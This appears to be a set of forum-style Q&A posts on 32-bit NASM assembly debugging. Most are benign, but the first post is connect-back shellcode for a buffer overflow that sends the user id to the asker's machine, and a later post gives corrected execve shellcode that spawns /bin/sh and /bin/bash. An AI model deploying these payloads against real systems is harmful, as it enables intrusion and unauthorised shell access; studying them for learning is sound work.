Im writing a connect-back shellcode that could connect back to my machine(in my case, use loop address), and send the current user id of the program where buffer overflow occurs. But my shellcode just sends back four bytes of zeros, can any one point out where i am go wrong in the send system call?
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66
pop eax
cdq
xor ebx, ebx
inc ebx
push edx
push BYTE 0x1
push BYTE 0x2
mov ecx, esp
int 0x80
xchg esi, eax
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66
pop eax
inc ebx
push DWORD 0x01BBBB7f
mov WORD [esp+1], dx
push WORD 0x697a
push WORD bx
mov ecx, esp
push BYTE 16
push ecx
push esi
mov ecx, esp
inc ebx
int 0x80
;geteuid
push BYTE 0x31
pop eax
int 0x80
;send(sockfd,buffer,strlen(buffer),0)
push eax
mov ecx, esp
push edx
push BYTE 0x4
push ecx
push esi
mov ecx, esp
push BYTE 0x66
pop eax
push BYTE 0x9
pop ebx
int 0x80
Related
I'm trying to pass an array of 4-byte integers from C to 32-bit nasm in linux. The function call passes a pointer to the first integer and the length in an integer value in that order. The C-program reads a list of numbers from a file. I've verified that the array is populating correctly.
When I run the following code I get consistent, large values. Each value is the same as the last and none were in the original array.
The relevant nasm code is as follows:
_sumAndPrintList:
push ebp
mov ebp, esp
sub esp, 16
push ebx
push ecx
push edx
push edi
push esi
mov ebx, [ebp + 8] ;Pointer to start of list
mov ecx, [ebp + 12] ;Size of list
push ebx
push ecx
push header ;This is a string and prints correctly
call printf
add esp, 4
pop ecx
pop ebx
xor edi, edi ;counter
xor esi, esi ;running total
printLoop:
cmp edi, ecx ;check if at end of list
je endPrintLoop
add esi, [ebx] ;add value in ebx to esi
mov [value], ebx ;move value in array to value
mov [total], esi ;put esi in total
push ebx
push ecx
push edi
push esi
push total
push value
push printNums ;string that prints the value and then the total
call printf
add esp, 12
pop esi
pop edi
pop ecx
pop ebx
add ebx, dword 1
inc edi
jmp printLoop
Everything prints correctly, just the values are wrong and the total is wrong. I'm fairly new to assembly, so if I've included too much or too little or you have questions, feel free to ask/let me know.
I am trying to write a program that gets a number with one or two digits and write Hello! as many times as that number.
I used this posts to write my code:
NASM: The loop turns into an infinite loop
Check null character in assembly language
Multi-Digit Input from NASM I did not understand this :)
But my code only works for two digit numbers and the result for single digit numbers are wrong.
My code:
section .data
msg db 'Hello!',0xA
len equ $-msg
section .bss
n resb 2
section .text
global _start
_start:
;get n
mov edx, 2
mov ecx, n
mov ebx, 0
mov eax, 3
int 0x80
lea esi,[n] ;address of our text
call toint
;loop for print 'Hello!\n'
print_loop:
push ecx
mov edx, len
mov ecx, msg
mov ebx, 1
mov eax, 4
int 0x80
pop ecx
loop print_loop
mov eax, 1
int 0x80
toint:
push eax
push ebx
xor ebx, ebx
next_digit:
movzx eax, byte[esi]
sub al , '0'
imul ebx, 10
add ebx, eax
inc esi
cmp byte [esi] , 0x0 ;check next character is null or not
jne next_digit
; end_loop:
mov ecx, ebx
pop eax
pop ebx
ret
The sys_read call returns in EAX the count of characters that were sent to your inputbuffer. Because you allowed for an input of max. 2 characters, this count will be either 0, 1, or 2. You could use this info in your toint routine.
; IN (eax,esi) OUT (ecx)
toint:
mov ecx, eax ; Number of digits
jecxz done
push eax ; (1)
push ebx ; (2)
push esi ; (3)
xor ebx, ebx
next:
movzx eax, byte [esi]
sub al , '0'
imul ebx, 10
add ebx, eax
inc esi
dec ecx
jnz next
mov ecx, ebx
pop esi ; (3)
pop ebx ; (2)
pop eax ; (1)
done:
ret
Please notice that there's a reversed ordering to be observed when preserving/restoring registers on the stack! (Your code missed this...)
4 tips
a. Prefer the MOV variant to load an address. It's always a shorter instruction.
b. Guard yourself against an input of zero.
c. Don't use LOOP. It's a slow instruction.
d. Provide the exit code to terminate the program.
mov esi, n ; (a)
call toint ; -> ECX
jecxz Exit ; (b)
print_loop:
...
dec ecx ; (c)
jnz print_loop
Exit:
xor ebx, ebx ; (d)
mov eax, 1
int 0x80
I keep getting segmentation faults on this could anybody help me on this one, I am kind of new to ASM
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push dword 0x0 ; NULL
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
mov al, 0xb ; sys_execve
int 0x80 ; system call
I am trying to replicate the following
char* Args[] = { "/bin/sh", "-c", "/bin/bash" };
execve("/bin/sh", Args, NULL)
Thanks in advance
As pointed out in the comments the arguments need to be NULL terminated.
Also mov al, 0xb only sets the lower 8 bits of the (32 bit) eax register.
Earlier on you also loaded an address from the stack into eax mov eax, esp and since the stack grows down, the value stored in eax will be much closer to 0xFFFFFFFF that it is to 0. When you later mov al, 0xb you only substitute the last F and eax needs to be exactly 0xb.
Thus you need to either move the value to whole eax register or make sure its upper 24 bits are zeroed beforehand - for example by doing xor eax, eax.
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push 0 ; <----- NULL args terminator
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
;xor eax, eax ; <----- either xor eax, eax or mov into eax
mov eax, 11 ; sys_execve
int 0x80 ; system call
I am trying to write a little function to print either a null-terminated or fixed-length string in a specific memory location. Here is my code:
vbrstart:
xor eax, eax
mov sp, 0x7a00
mov bp, 0x6000
mov ss, ax
mov ds, ax
mov es, ax
xor ebx, ebx
xor ecx, ecx
push strict dword initializing
push strict word 0x0000
call printmsg
jmp end
;push strict dword memloc
;push strict word length
;call printmsg
printmsg:
pop strict dword [store_ret]
mov [store_cx], cx
mov [store_esi], esi
pop cx
pop esi
push eax
push ebx
mov ah, 0x0E
mov bx, 0x0007
cmp cx, 0x0000
je printnullterm
printgivenlen:
lodsb
cmp cx, 0x0000
je printdone
int 10h
dec cx
jmp printgivenlen
printnullterm:
lodsb
cmp al, 0x00
je printdone
int 10h
jmp printnullterm
printdone:
pop ebx
pop eax
mov esi, [store_esi]
mov cx, [store_cx]
push strict dword [store_ret]
ret
printdata:
store_cx dw 0
store_esi dd 0
store_ret dd 0
end:
hlt
jmp end
initializing db 10,13,'Initializing...',0
When tested, it prints indefinately, and doesn't stop at the null byte. Where did I make a mistake?
I see 2 problems with your code:
You've written a bootloader. Such a program runs in the 16-bit real address mode. This implies that the return address from a call will be a word and not a dword like your code is expecting.
printmsg:
pop word [store_ret]
You setup the stack in a risky manner. You need to first change the SS register and immediately after that the SP register.
xor ax, ax
mov ss, ax <<< Keep these together
mov sp, 0x7a00 <<< and in this order!
Since this is 16-bit code there's no need to push/pop the address as a dword.
push word initializing
...
pop si
Your stack is not properly aligned with all that pushes and pops. Check parameters passing and it's usage in the routine.
To start, here's a hint:
vbrstart:
xor eax, eax
mov sp, 0x7a00
mov bp, 0x6000
mov ss, ax
mov ds, ax
mov es, ax
xor ebx, ebx
xor ecx, ecx
push strict dword initializing
push strict word 0x0000
call printmsg ; near call, only 16 bits ret addr stored
jmp end
;push strict dword memloc
;push strict word length
;call printmsg
printmsg:
pop strict dword [store_ret] ; pop dword (ret address + 16 bits- 1st argument)
mov [store_cx], cx ; store_cx = 0
mov [store_esi], esi ; store_esi = ??
pop cx ; cx = initializing
. . .
I have the following assembly code:
; File: strrev.asm
; A subroutine called from C programs.
; Parameters: string A
; Result: String is reversed and returned.
SECTION .text
global strrev
_strrev: nop
strrev:
push ebp
mov ebp, esp
; registers ebx,esi, and edi must be saved if used
push ebx
push edi
xor esi, esi
xor eax, eax
mov ecx, [ebp+8] ; load the start of the array into ecx
jecxz end ; jump if [ecx] is zero
mov edi, ecx
reverseLoop:
cmp byte[edi], 0
je reverseLoop_1
inc edi
inc eax
jmp reverseLoop
reverseLoop_1:
mov esi, edi ;move end of array into esi
mov edi, ecx ;reset start of array to edi
reverseLoop_2:
mov al, [esi]
mov bl, [edi]
mov [esi], bl
mov [edi], al
inc edi
dec esi
dec eax
jnz reverseLoop_2
end:
pop edi ; restore registers
pop ebx
mov esp, ebp ; take down stack frame
pop ebp
ret
Which works fine until you start looping through reverseLoop_2. Using gdb, eax is listed as being 11, which it should be (this is the length of the string I passed in through a separate c program). This is show in the debugger as:
Breakpoint 2, reverseLoop_2 () at strrev.asm:40
40 mov al, [esi]
(gdb) display $eax
1: $eax = 11
However, if I step through the program to the next line, it resets to 0.
(gdb) next
41 mov bl, [edi]
1: $eax = 0
I need eax to be preserved since its the one keeping track of how many times reverseLoop_2 needs to loop. Why is it resetting to 0 after the call to mov?
If you're using eax as a loop counter, you shouldn't write to it inside the loop :
reverseLoop_2:
mov al, [esi]
Remember that al is the least significant byte of eax :
I think this should work.
mov eax, address of your string
push esi
push edi
mov edi, eax
mov esi, eax
; find end of string
sub ecx, ecx
not ecx
sub al, al
cld
repne scasb
; points to the byte after '0x00'
dec edi
dec edi
; main loop will swap the first with the last byte
; and increase/decrease the pointer until the cross each other
_loop:
cmp esi, edi ; if both pointers meet, we are done
jg _done
mov al, [edi]
mov bl, [esi]
mov [esi], al
mov [edi], bl
inc esi
dec edi
jmp _loop
_done:
pop edi
pop esi